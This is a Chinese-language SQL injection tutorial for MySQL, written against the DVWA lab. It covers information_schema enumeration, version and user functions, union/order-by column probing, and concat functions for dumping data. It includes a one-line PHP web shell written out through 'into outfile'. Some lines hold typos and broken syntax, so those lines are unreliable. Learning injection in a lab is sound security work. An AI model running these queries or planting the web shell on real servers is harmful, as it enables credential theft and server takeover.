1 MySQL内置information schema数据库结构
Mysql 内置的系统数据库INFORMATION-SCHEMA , 其结构如MSSQL 中的master 数据库, 其中记录了MySQL中所有存在数据库名、数据库表、表字段,
其中, 关键的三个表为:
SCHEMATA : 存储数据库名的表
Tables : 存储数据库以及数据库中的表名
columns : 存储数据库、表、以及表中的字段。
1.1 schemata >>>存取数据库名的表
字段:schema_name >>>数据库名称
select schema_name from information_schema.schemata; #查数据库名
1.2 tables >>>存储表名
字段:table_schema >>>表示该表名属于哪个数据库名
字段:table_name >>>存储表的表名
select table_name from information_schema.tables where table_schema = 'dvwa'; #查表名
1.3 columns >>>存储的字段名表
字段:table_schema >>>该字段所属数据库名
字段:table_name >>>存储所属表的名称
字段:column_name >>>该字段的名称
select column_name from information_schema.columns where table_name ='users' and table_schema='dvwa'; #查字段名
1.4 查字段内容
select user,password from dvwa.users;
2 MySQL注入常用函数和语句
2.1 查询服务器主机信息
@@hostname 主机名称
@@datadir 数据库路径
@@version_compile_os 操作系统版本
select @@hostname, @@datadir,@@version_compile_os;
2.2 查询数据库版本信息
select version() 数据库版本信息
select @@version 数据库版本信息
select @@global.version 数据库版本信息
select database() 查看当前数据库名称
select version(),@@version,@@global.version,database();
2.3 查询数据库用户信息
user() 系统用户和登录主机名
current_user() 当前登录用户和登录主机名
system_user() 数据库系统用户账户名称和登录主机名
session_user() 当前会话用户名和登录主机名
select user(),current_user(),system_user(),session_user() ;
2.4 枚举数据库内容
Select * from information_schema. schemata; / / 爆出数据库
Select table_name from information_schema.tables where table_schema= 'dvwa'; / / 爆出指定数据库dvwa的所有表名
Select column_name from information_schama.columns where table_name= 'users'; / / 爆出dvwa 指定表users 的所有字段名
select (user, password) from dvwa. users; / / 爆出数据库users 内容,
select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/dvwa/1. php'; //将中的内容写到'/var/www/html/dvwa/1. php'这个文件中去,相当于借助数据库将内容上传到服务器。一句话木马
2.5 联合查询语句
order by n / / 判断当前查询结果的列数, 配合union 实用。
order by n+1; // 让n 一直增加直到出现错误页面。
Union 联合查询 union select......
select user,password from dvwa.users order by 3;
3 concat, concat ws, group_concat 函数
在实际注入中, 巧妙借助concat , concat_ws , group_concat 函数, 可以将注入结果更好的显示在页面中。
3.1 Conacat() 和concat_ws()
concat(str1,str2......) 没有分隔符串联多列结果。
concat_ws ( separator,str1,str2......) 含有分隔符地串联多列结果
上述两个函数功能非常类似, 只是在分隔符上的区别.
应用场景: 查询结果只有一行, 一列或多列数据。
Concat() 和concat_ws()函数的对比, 两者均可以将一行多列的数据连接为一列, 区别concat() 连接没有连接符号。Concat_ws() 可以定义连接符,用分隔符将结果连接起来。如下图所示:
注: //0x3a 是“: ” 的十六进制, 这里把它作为分隔符: 的hex 值
3.2 gcpup_concat(str1,str2,......)
group_concat(str1,str2,......) 用逗号,串联多行结果为一行, 每行结果用逗号串联
应用场景: 查询结果有一行或多行,一列或多列数据。group_concat()可以将多行多列查询结果, 显示在一行一列, 并且多行结果之间用逗号分隔。与concat_ws() 区别可以在
注: //0x3a 是“ :” 的十六进制, 在这里把它作为分隔符:的hex 值